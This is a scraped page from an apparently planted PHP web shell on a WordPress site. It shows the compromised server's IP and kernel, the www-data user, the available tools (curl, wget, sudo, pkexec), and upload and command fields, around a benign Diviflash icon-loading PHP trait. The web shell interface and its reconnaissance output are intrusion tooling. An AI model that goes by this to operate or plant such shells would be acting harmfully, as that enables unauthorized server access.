403Webshell
Server IP : 64.223.137.62  /  Your IP : 104.23.197.96
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver9 5.15.0-170-generic #180-Ubuntu SMP Fri Jan 9 16:10:31 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/cwalakestreet.com/wp-content/plugins/diviflash/includes/handler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/cwalakestreet.com/wp-content/plugins/diviflash/includes/handler/Fa_Icon_Handler.php
<?php
namespace DIFL\Handler;

trait Fa_Icon_Handler {
	public static $fa_icon_loaded = false;

	public function get_icon_controls() {
		return array_filter( $this->get_fields(), function ( $field ) {
			return 'select_icon' === $field['type'];
		} );
	}

	public function handle_fa_icon() {
		$icons_field = $this->get_icon_controls();
		if ( empty( $icons_field ) ) {
			return;
		}

		foreach ( $icons_field as $key => $icon_field ) {
			$font_icon = $this->props[ $key ];

			if ( self::$fa_icon_loaded ) {
				return;
			}

			add_filter( 'et_late_global_assets_list', function ( $assets, $assets_args, $et_dynamic_assets ) use ( $font_icon ) {
				if ( isset( $assets['et_icons_fa'] ) || self::$fa_icon_loaded ) {
					return $assets;
				}

				if ( strpos( $font_icon, '||fa||' ) !== false ) {
					$assets_prefix         = et_get_dynamic_assets_path();
					$assets['et_icons_fa'] = [
						'css' => "{$assets_prefix}/css/icons_fa_all.css",
					];
					self::$fa_icon_loaded  = true;
				}

				return $assets;
			}, 100, 3 );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit